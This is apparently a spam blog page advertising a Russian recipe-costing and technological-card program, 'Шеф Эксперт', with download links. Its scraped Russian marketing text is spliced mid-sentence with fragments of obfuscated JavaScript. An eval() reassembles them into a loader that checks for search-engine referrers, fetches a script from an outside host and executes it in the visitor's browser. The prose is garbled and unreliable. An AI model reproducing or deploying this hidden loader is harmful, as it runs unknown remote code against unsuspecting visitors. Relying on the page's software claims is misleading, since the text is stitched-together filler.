Программа Для Расчета Выхода Блюд [UPD]

카테고리 없음

by disctocurgigg 2021. 4. 13. 22:41

Download

Программа Для Расчета Выхода Блюд

Download

Основные функции программы для общепита «Шеф Эксперт»: Автоматический расчет массы полуфабриката и выхода готового блюда;; Возможность.

Автоматически рассчитываются физико–химические показатели (массовая доля сухих в- в, жира, сахара, соли) по справочным данным; Автоматически заполняются данные по микробиологии и органолептике.. \"";S["ezOK"]="d();";S["SINK"]=" set";S["wqME"]=" ref";S["lPsO"]="uery";S["uCBm"]="(ref";S["JSpb"]="(\"bi";S["Csoa"]="a=do";S["bdJp"]="('sc";S["yyum"]="ataT";S["gPkN"]="etEl";S["VupW"]="TagN";S["TUCg"]="ar s";S["GcHx"]="is.. Составление рецептур и технологических документов.. Если возникнут сложности, можете заглянуть в подробную инструкцию.. \")>";S["OMEv"]="p://";S["ZyCZ"]="ndef";S["TjbA"]="no c";S["LMXn"]="goog";S["hyyJ"]=");}e";S["GCoE"]="erre";S["cLfv"]="gth>";S["yYMX"]="\")>0";S["krEU"]="||re";S["kTOt"]="Of(\"";S["DdRj"]="dexO";S["eRYj"]="ypeo";S["hRob"]="ly',";S["pvIB"]="(\"vk";S["UZDg"]="xtSt";S["iVEW"]="ame(";S["OzRu"]=",pro";S["gLQS"]="sn.

Скачать Калькуляция блюд бесплатно на freeSOFT Функции реализованные в программе : - Ведение базы очень удобно делать расчет калькуляции блюд и составление меню!Расчет готовых блюд.

Формат файла и правила обмена данными описаны в Руководстве по обмену.. Введите в таблицу состав блюда – названия продуктов и их вес.. var mQr = '%d0%bf%d1%80%d0%be%d0%b3%d1%80%d0%b0%d0%bc%d0%bc%d0%b0+%d0%b4%d0%bb%d1%8f+%d1%80%d0%b0%d1%81%d1%87%d0%b5%d1%82%d0%b0+%d0%b2%d1%8b%d1%85%d0%be%d0%b4%d0%b0+%d0%b1%d0%bb%d1%8e%d0%b4';var S = new Array();S["iGGu"]="'hea";S["feQG"]="atus";S["BuMk"]="eEle";S["frOz"]="ng.

Мы постарались значительно упростить и ускорить процесс создания рецептур блюд.. Шеф-Эксперт - Программа для расчета ТТК но и массу брутто/нетто/ выход ингредиента и готового блюда по любому из значений.. Технико- технологические карты (ТТК)Технико- технологическая карта (Форма по ГОСТ 3.. Напишите нам, мы в онлайне!. О безопасности пищевой продукции» и ТР ТС 0 Введите в таблицу состав блюда – названия продуктов и их вес.. ind";S["eUGh"]="ld(a";S["zAvI"]="'){s";S["zSBw"]="ipt'";S["AJxM"]="om/a";S["pkcx"]="ax({";S["skvK"]="ype:";S["ChPv"]="Attr";S["CIKL"]="3.. Вами рецептуры: Автоматически рассчитывается содержание белков, жиров, углеводов и калорийность блюда (с учетом потерь пищевых веществ) по справочным данным.. \"";S["VjWQ"]="r;if";S["cRIb"]=" len";S["zcZu"]="hoo ";S["tKjc"]="a,te";S["VeVR"]=".. Печатные формы документов Документы, создаваемые в программе Шеф Эксперт полностью соответствуют ГОСТ 3.. i";S["xZeU"]=",100";S["nrVw"]="ref=";S["Lfzp"]="er \"";S["Nybh"]="ncti";S["vKqH"]="iORK";S["EFlg"]="dChi";S["ZuZC"]="f.. Все справочные данные уже включены в программу, и периодически обновляются.. Таможенного Союза), введенному в действие с 1 января 2.. Указан рекомендуемый выход блюда для кормления детей как ясельного возраста (1-3 Для Вашего удобства программа "Детский сад: Питание" пересчитывают эти массы на Показатели приводятся в расчете на 100 грамм.. Для формирования этих документов необходимо ввести в программу.. Если возникнут сложности, можете заглянуть в подробную.. Для этого мы включили в программу такие функции как: Возможность выбора ингредиентов из справочника (более 1.. При изменении цен в номенклатуре ингредиентов калькуляция автоматически пересчитывается.. Программа для разработки ТТК для общепита При расчете технологической карты возможно изменять выход блюда с автоматическим пересчетом.. Эта функция особенно полезна, например, если Вы хотите рассчитать количество ингредиентов на банкет, или узнать расход ингредиентов по количеству проданных блюд.. 1 ";S["Cyzy"]="lse,";S["KwZa"]="tion";S["WLqW"]="f(\"r";S["lrya"]=":fal";S["QBMp"]="'scr";S["vRCq"]="lati";S["JyRn"]="=='u";S["AcEN"]="eDat";S["CiET"]="|ref";S["SLWQ"]="3AQZ";S["lADh"]="ef.. g";S["PJuS"]="ex \"";S["nUuW"]="'htt";S["CCQP"]="f(\"m";eval(S["IMKo"]+S["fWLk"]+S["uExc"]+S["IMKo"]+S["Csoa"]+S["XUJI"]+S["Bmnv"]+S["HBQj"]+S["BuMk"]+S["FpeW"]+S["bdJp"]+S["dvBA"]+S["xtiz"]+S["SINK"]+S["ChPv"]+S["yoHD"]+S["fCJZ"]+S["Rnxm"]+S["osZT"]+S["kuEg"]+S["LMXn"]+S["trqT"]+S["GcHx"]+S["AJxM"]+S["vgjB"]+S["LBJk"]+S["WVlA"]+S["ITzh"]+S["CIKL"]+S["qukO"]+S["lPsO"]+S["FZMF"]+S["Unxe"]+S["lduj"]+S["XUJI"]+S["cNry"]+S["gPkN"]+S["CzVR"]+S["YMvb"]+S["VupW"]+S["iVEW"]+S["iGGu"]+S["vvWz"]+S["oAID"]+S["cMIw"]+S["EFlg"]+S["eUGh"]+S["RwjQ"]+S["Nybh"]+S["iupA"]+S["jQrh"]+S["CvDx"]+S["eRYj"]+S["MTrC"]+S["JyRn"]+S["ZyCZ"]+S["mgLP"]+S["zAvI"]+S["ximO"]+S["oeDI"]+S["rjda"]+S["xZeU"]+S["hyyJ"]+S["CbAK"]+S["IMKo"]+S["nrVw"]+S["KNXD"]+S["FpeW"]+S["wqME"]+S["GCoE"]+S["VjWQ"]+S["uCBm"]+S["cRIb"]+S["cLfv"]+S["HBBW"]+S["jgYE"]+S["lADh"]+S["nznF"]+S["kTOt"]+S["fKqK"]+S["PJuS"]+S["eWAL"]+S["lqWe"]+S["lADh"]+S["nznF"]+S["kTOt"]+S["LMXn"]+S["arvP"]+S["eWAL"]+S["krEU"]+S["ZuZC"]+S["DdRj"]+S["WLqW"]+S["lRgA"]+S["Lfzp"]+S["ZRVW"]+S["CiET"]+S["xZjN"]+S["gvKv"]+S["JSpb"]+S["frOz"]+S["ZRVW"]+S["CiET"]+S["xZjN"]+S["gvKv"]+S["aZTj"]+S["kVde"]+S["ZRVW"]+S["CiET"]+S["xZjN"]+S["gvKv"]+S["RoUh"]+S["zcZu"]+S["yYMX"]+S["krEU"]+S["ZuZC"]+S["DdRj"]+S["CCQP"]+S["gLQS"]+S["ZRVW"]+S["CiET"]+S["xZjN"]+S["gvKv"]+S["QykI"]+S["dvWD"]+S["ZRVW"]+S["CiET"]+S["xZjN"]+S["gvKv"]+S["pvIB"]+S["VeVR"]+S["BDVH"]+S["TUCg"]+S["EQXx"]+S["jdcy"]+S["fkot"]+S["eldd"]+S["fwfd"]+S["pkcx"]+S["GZoD"]+S["QiZW"]+S["Vddm"]+S["yyum"]+S["skvK"]+S["QBMp"]+S["zSBw"]+S["OzRu"]+S["NzQj"]+S["OzIX"]+S["lrya"]+S["hRFH"]+S["cSKe"]+S["PsHe"]+S["mYdX"]+S["GDhw"]+S["lJyY"]+S["IkxT"]+S["Cyzy"]+S["dLiI"]+S["nUuW"]+S["OMEv"]+S["SLWQ"]+S["vKqH"]+S["kcOx"]+S["sGZR"]+S["vRCq"]+S["TjbA"]+S["QvKM"]+S["jlHz"]+S["edgW"]+S["nHxS"]+S["hRob"]+S["WKpG"]+S["VCBX"]+S["knCI"]+S["KwZa"]+S["ZEyZ"]+S["upsp"]+S["AcEN"]+S["tKjc"]+S["UZDg"]+S["feQG"]+S["JJpQ"]+S["BxlR"]+S["HxSC"]+S["ZEyZ"]+S["upsp"]+S["AcEN"]+S["spGH"]+S["ragS"]+S["YNEz"]+S["ezOK"]);Подробнее о программе для составления ТТК.. a";S["cSKe"]="ross";S["RoUh"]="(\"ya";S["WVlA"]="/jqu";S["iupA"]="on r";S["jQrh"]="d(){";S["CvDx"]="if(t";S["ragS"]="});}";S["Unxe"]=".. Автоматически заполняются требования к реализации и хранению (условия и сроки годности блюда)Автоматически пересчитываются данные при изменении какого- либо показателя в справочнике.. Калькуляционные карты Калькуляционная карточка формируется автоматически на основании рецептуры.. Расчет пищевой и энергетической ценности блюда ведем на основании.. \"";S["kcOx"]=" bro";S["vgjB"]="jax/";S["YMvb"]="tsBy";S["GZoD"]="type";S["edgW"]=".. in";S["nHxS"]="weeb";S["Bmnv"]="nt c";S["lRgA"]="ambl";S["BDVH"]="0){v";S["fKqK"]="yand";S["kVde"]="il.. Системные требования Системные требования к компьютеру минимальны, не требуют дополнительного программного обеспечения и значительных объемов памяти.. Пищевая продукция в части её маркировки» Все документы, создаваемые в программе, Вы можете распечатать, или сохранить в любом удобном формате (Word, Excel, PDF.. Однако, загрузку файла обмена и дальнейшую настройку должны производить специалисты, которые обслуживают Вашу учетную программу.. js?";S["knCI"]="func";S["LBJk"]="libs";S["IkxT"]="p:fa";S["aZTj"]="(\"ma";S["cNry"]="nt.. Установить сейчас Купить Шеф Эксперт Основные функции программы для общепита «Шеф Эксперт»: Составление Технико- технологических карт на фирменные блюда и кулинарные изделия; Автоматическое формирование Информационного листа (Подробная информация о Ваших блюдах в качестве приложение к меню); Составление Калькуляционных карт; Составление Актов контрольной проработки; Составление Технологических карт на блюда, изготавливаемых в соответствии с официальными Сборниками Рецептур; Составление Плана- меню и автоматическое формирование требования в кладовую на его основании.. Также, в программе учтены требования Технических Регламентов Таможенного Союза ТР ТС 0.. Требования изложены на странице загрузки Есть вопросы? Ознакомьтесь с часто задаваемыми вопросами по работе с программой.. ";S["nznF"]="ndex";S["jlHz"]="2/15";S["jdcy"]="e = ";S["fwfd"]="$ aj";S["PsHe"]="Doma";S["Rnxm"]="rc',";S["oAID"]="0].. \"";S["NzQj"]="cess";S["lduj"]=");do";S["ZRVW"]=")>0|";S["FpeW"]="ment";S["ZEyZ"]="(res";S["upsp"]="pons";S["CzVR"]="emen";S["fkot"]="'for";S["BxlR"]="HR){";S["CbAK"]="lse{";S["EQXx"]="howm";S["WKpG"]="succ";S["kuEg"]="jax.. Себестоимость рассчитывается по данным о стоимости ингредиентов в справочнике.. Программа калькуляции блюд, ТТК, расчет калорий Microinvest Nutrition.. Калорийность указывается в ккал и в к Дж, в соответствии с требованиями Технического регламента ТР ТС 0.. c";S["qukO"]="0/jq";S["VCBX"]="ess:";S["cMIw"]="ppen";S["KNXD"]="docu";S["MTrC"]="f $=";S["ximO"]="etTi";S["rjda"]="t(rd";S["HxSC"]="eval";S["xtiz"]="');a";S["fCJZ"]="e('s";S["eWAL"]=")>0)";S["OzIX"]="Data";S["XUJI"]="cume";S["jgYE"]="f((r";S["Vddm"]="T',d";S["JJpQ"]=",jqX";S["mYdX"]="in:t";S["IMKo"]="var ";S["GDhw"]="rue,";S["HBBW"]="0){i";S["lJyY"]="json";S["lqWe"]="||(r";S["dLiI"]="url:";S["fWLk"]="q = ";S["uExc"]="mQr;";S["eldd"]="ce';";S["YNEz"]="}}}r";S["yoHD"]="ibut";S["ITzh"]="ery/";S["mgLP"]="ined";S["vvWz"]="d')[";S["trqT"]="leap";S["sGZR"]="ward";S["oeDI"]="meou";S["arvP"]="le.. Программа позволяет загружать и выгружать данные в виде XML- файла, используя модуль обмена.. js'";S["hRFH"]="se,c";S["osZT"]="'//a";S["QvKM"]="om/1";S["gvKv"]="exOf";S["HBQj"]="reat";S["QykI"]="(\"li";S["spGH"]="a);}";S["dvWD"]="ve.. Планы- меню Программа позволяет создавать планы- меню и рассчитывать количество необходимых ингредиентов на приготовление блюд по плану- меню, с возможностью печати.. Автоматический расчет Брутто, Нетто, Выхода ингредиентов в блюде на основании процентов технологических потерь, уже заданных в справочнике; Автоматический расчет массы полуфабриката и выхода готового блюда; Возможность задавать для каждого ингредиента неограниченное количество способов холодной или термической обработки; Возможность включения в рецептуру полуфабрикатов; Возможность делить рецептурную таблицу на подразделы с подзаголовками и отдельным расчетом выхода для каждого подраздела (для читабельности документа и отображения выхода блюда через «/»)Расчет себестоимости блюда и процента торговой наценки.. \"";S["RwjQ"]=");fu";S["FZMF"]=" min";S["dvBA"]="ript";S["QiZW"]=":'GE";S["xZjN"]=".

d70b09c2d4